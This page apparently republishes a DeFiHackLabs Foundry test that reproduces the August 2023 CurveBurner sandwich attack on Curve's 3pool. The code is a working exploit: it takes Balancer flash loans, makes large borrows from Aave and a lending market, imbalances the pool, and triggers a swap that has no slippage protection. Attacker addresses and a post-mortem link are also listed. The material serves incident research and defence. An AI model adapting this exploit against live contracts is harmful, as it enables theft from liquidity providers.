Public reproduction file
src/test/2023-08/CurveBurner_exp.sol
Public reproduction file for dataset entry CurveBurner.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$36k USD$8// Attacker : https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c9// Attack Contract : https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba10// Vulnerable Contract : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a5811// Attack Tx : https://etherscan.io/tx/0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58#code16// @Analysis17// Post-mortem : https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b19interface ICurveBurner {20 function execute() external;21}23interface ICurve {24 function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;26 function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;28 function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;29}31contract ContractTest is Test {32 ICurveBurner CurveBurner = ICurveBurner(0x786B374B5eef874279f4B7b4de16940e57301A58);33 IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);34 IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));35 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);36 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);37 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);38 IERC20 LP = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);39 crETH cETH = crETH(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);40 ICurve Curve3POOL = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);41 ICErc20Delegate cUSDT = ICErc20Delegate(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9);42 ICointroller Cointroller = ICointroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);43 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);44 IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);45 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);47 function setUp() public {48 vm.createSelectFork("mainnet", 17_823_542);49 vm.label(address(WETH), "WETH");50 vm.label(address(USDC), "USDC");51 vm.label(address(CurveBurner), "CurveBurner");52 vm.label(address(Curve3POOL), "Curve3POOL");53 vm.label(address(DAI), "DAI");54 vm.label(address(wstETH), "wstETH");55 vm.label(address(USDT), "USDT");56 vm.label(address(LP), "LP");57 vm.label(address(cETH), "cETH");58 vm.label(address(cUSDT), "cUSDT");59 vm.label(address(Balancer), "Balancer");60 vm.label(address(aaveV2), "aaveV2");61 vm.label(address(aaveV3), "aaveV3");62 }64 function testExploit() external {65 deal(address(this), 0);67 address[] memory tokens = new address[](3);68 tokens[0] = address(wstETH);69 tokens[1] = address(WETH);70 tokens[2] = address(USDT);71 uint256[] memory amounts = new uint256[](3);72 amounts[0] = 35_986 ether;73 amounts[1] = 79_768 ether;74 amounts[2] = 10_744_911 * 1e6;75 bytes memory userData = "";76 Balancer.flashLoan(address(this), tokens, amounts, userData);78 emit log_named_decimal_uint(79 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()80 );81 }83 function receiveFlashLoan(84 address[] memory tokens,85 uint256[] memory amounts,86 uint256[] memory feeAmounts,87 bytes memory userData88 ) external {89 wstETH.approve(address(aaveV3), wstETH.balanceOf(address(this)));90 aaveV3.supply(address(wstETH), wstETH.balanceOf(address(this)), address(this), 0); // deposit wstETH to aaveV391 aaveV3.borrow(address(USDT), 40_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV393 WETH.approve(address(aaveV2), WETH.balanceOf(address(this)));94 aaveV2.deposit(address(WETH), 50_000 ether, address(this), 0); // deposit WETH to aaveV295 aaveV2.borrow(address(USDT), 65_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV297 WETH.withdraw(29_000 ether);99 address[] memory cTokens = new address[](2);100 cTokens[0] = address(cETH);101 cTokens[1] = address(cUSDT);102 Cointroller.enterMarkets(cTokens); // enter cTokens market103 cETH.mint{value: 29_000 ether}();104 cUSDT.borrow(40_000_000 * 1e6); // borrow USDT from cUSDT106 LP.approve(address(Curve3POOL), type(uint256).max);107 USDC.approve(address(Curve3POOL), type(uint256).max);108 DAI.approve(address(Curve3POOL), type(uint256).max);109 TransferHelper.safeApprove(address(USDT), address(Curve3POOL), type(uint256).max);110 TransferHelper.safeApprove(address(USDT), address(cUSDT), type(uint256).max);111 TransferHelper.safeApprove(address(USDT), address(aaveV2), type(uint256).max);112 TransferHelper.safeApprove(address(USDT), address(aaveV3), type(uint256).max);114 uint256[3] memory amount;115 amount[0] = 0;116 amount[1] = 0;117 amount[2] = USDT.balanceOf(address(this));118 Curve3POOL.add_liquidity(amount, 1); // deposit USDT to Curve3POOL120 amount[0] = DAI.balanceOf(address(Curve3POOL)) * 978 / 1000;121 amount[1] = USDC.balanceOf(address(Curve3POOL)) * 978 / 1000;122 amount[2] = 0;123 Curve3POOL.remove_liquidity_imbalance(amount, LP.balanceOf(address(this))); // withdraw DAI and USDC from Curve3POOL125 CurveBurner.execute(); // add only USDT liquidity to Curve3POOL -> swap USDT to DAI and USDC without slippage protection127 amount[0] = DAI.balanceOf(address(this));128 amount[1] = USDC.balanceOf(address(this));129 amount[2] = 0;130 Curve3POOL.add_liquidity(amount, 1); // deposit DAI and USDC to Curve3POOL132 Curve3POOL.remove_liquidity_one_coin(LP.balanceOf(address(this)), 2, 1); // withdraw USDT from Curve3POOL134 cUSDT.repayBorrow(cUSDT.borrowBalanceCurrent(address(this))); // repay USDT to cUSDT135 cETH.redeemUnderlying(29_000 ether); // withdraw ETH from cETH137 WETH.deposit{value: 29_000 ether}();138 aaveV2.repay(address(USDT), 65_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV2139 aaveV2.withdraw(address(WETH), 50_000 ether, address(this)); // withdraw WETH from aaveV2141 aaveV3.repay(address(USDT), 40_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV3142 aaveV3.withdraw(address(wstETH), type(uint256).max, address(this)); // withdraw wstETH from aaveV3144 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);145 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);146 TransferHelper.safeTransfer(tokens[2], msg.sender, amounts[2] + feeAmounts[2]);147 }149 receive() external payable {}150}Analysis
Dataset entry
Public Foundry test for “CurveBurner” (2023-08-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xccc526e2433db1eebb9cbf6acd7f03a19408278c
- Attack Contract
0x915dff6707bea63daea1b41aa5d37353229066ba
- Vulnerable Contract
0x786b374b5eef874279f4b7b4de16940e57301a58
- Attack Tx
0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde
- Post: https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b
- Explorer: https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c
- Explorer: https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba
- Explorer: https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58
- Explorer: https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58#code
File record
- Name
- CurveBurner
- Path
- src/test/2023-08/CurveBurner_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6cb488660facb0fe2a2f0846d479ffa06c1a30d8
- Language
- Solidity
- Size
- 151 lines
- Date
- 2023-08-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/CurveBurner_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6cb488660facb0fe2a2f0846d479ffa06c1a30d8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.